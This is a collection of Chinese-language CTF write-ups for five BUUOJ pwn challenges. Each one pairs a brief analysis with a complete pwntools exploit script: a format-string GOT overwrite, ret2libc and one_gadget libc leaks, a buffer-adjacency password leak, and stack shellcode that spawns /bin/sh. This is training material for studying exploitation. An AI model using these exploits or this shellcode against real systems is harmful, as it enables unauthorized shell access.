101 inndy_echo
保护
就格式化字符串漏洞。
我们考虑劫持got表。
也不用泄露地址,因为它直接就有system函数。
只需要实现测一下偏移。
偏移是7.
exp
from pwn import *
r = remote("node3.buuoj.cn",28990)
elf = ELF('./101')
libc = ELF("./32/libc-2.23.so")
printf_got = elf.got['printf']
system_addr = elf.sym['system']
payload = fmtstr_payload(7,{printf_got:system_addr})
r.sendline(payload)
payload = "/bin/sh\x00"
r.sendline(payload)
r.interactive()
这里用了模板,还是非常棒的。
102 cmcc_pwnme1
保护
getflag
估摸着远程又没这文件。
getfruit里面有溢出。
溢出溢过去,完活。
exp
from pwn import *
r = remote("node3.buuoj.cn",29485)
elf = ELF('./102')
libc = ELF("./32/libc-2.23.so")
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
main = elf.symbols["main"]
getfruit_addr = 0x08048624
payload = 0xa4*'a' + p32(main) + p32(plt_puts) + p32(main) + p32(got_puts)
r.recvuntil('Exit \n')
r.sendline('5')
r.recvuntil('fruit:')
r.sendline(payload)
real_puts = u32(r.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
libc_base = real_puts - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh").next()
payload = 0xa4*'a' + p32(main) + p32(system) + p32(main) + p32(binsh)
r.recvuntil('Exit \n')
r.sendline('5')
r.recvuntil('fruit:')
r.sendline(payload)
r.interactive()
103 oneshot_tjctf_2016
保护
RELRO一点没开的……
输入参数"%lx"就是格式控制串,其中的%是格式控制符, l表示数据为长整型,x表示输出十六进制
32位平台下%p = 0x%x
64位平台下
程序的执行流程是我们输入一个地址,会将这个地址处的数值打印出来,这样我们就可以泄露libc地址,然后我们可以利用one_gadget,输入到v4里面,然后执行。
exp
# -*- coding: utf-8 -*-
from pwn import *
elf = ELF('./103')
r = remote('node3.buuoj.cn',27030)
puts_got = elf.got['puts']
libc = ELF('./64/libc-2.23.so')
one_gadget = 0x45216
r.sendlineafter('Read location?',str(puts_got))
#这个地方要记得发送的时候要用str()
r.recvuntil('0x0000')
puts_addr = int(r.recvuntil('\n'),16)
#这个地方没有用切片也跑的通,int这个函数会自动把那个回车给处理掉.
libc_base = puts_addr - libc.symbols['puts']
print hex(libc_base)
one_gadget = libc_base + one_gadget
r.sendline(str(one_gadget))
r.interactive()
104 picoctf_2018_leak_me
保护
v5是名字,s是密码。
没有啥漏洞,所以就考虑逻辑漏洞,或者是一些骚操作。
这里发现名字的数组跟密码的数组是连在一起的,所以我们可以输出名字的时候把密码带出来。
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
elf = ELF('./104')
r = remote('node3.buuoj.cn',27602)
libc = ELF('./64/libc-2.23.so')
payload = 'a' * (0x100 - 28)
r.sendlineafter("What is your name?\n", payload)
r.recv()
r.sendline('aaaa')
r.interactive()
密码就被带出来了。
然后nc连接上,输入密码拿flag。
105 x_ctf_b0verfl0w
保护
给了一个jmp esp
有个栈溢出。
但是溢出大小不大,只有18.
要注意到没开NX。
我们的思路是要考虑把shellcode写在什么地方,然后jmp esp跳过去执行,但是我们发现我们只能写在栈上,写在栈上之后返回地址用jmp esp,同时在返回地址后面写上汇编代码,让esp跳上去,跳到上面去执行栈上面的shellcode。
要注意的是栈上能写的只有32个字节,所以要掏出我们的23字节最短shellcode。
shellcode ='''
xor eax,eax #eax置0
xor edx,edx #edx置0
push edx #将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f #传递“/bin”
mov ebx,esp #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB #eax置为execve函数的中断号
int 0x80 #调用软中断
'''
shellcode=asm(shellcode)
把它写到栈上。然后jmp esp,在返回地址下面写上{sub esp 0x28, call esp},就好了。
exp
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
r = remote('node3.buuoj.cn',29445)
#r = process("./105")
jmp_esp = 0x8048504
shellcode ='''
xor eax,eax #eax置0
xor edx,edx #edx置0
push edx #将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f #传递“/bin”
mov ebx,esp #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB #eax置为execve函数的中断号
int 0x80 #调用软中断
'''
payload = asm(shellcode)
payload = payload.ljust(36, '\x00')
payload += p32(jmp_esp)
payload += asm("sub esp,40;call esp")
#gdb.attach(r)
r.sendlineafter("What's your name?\n", payload)
r.interactive()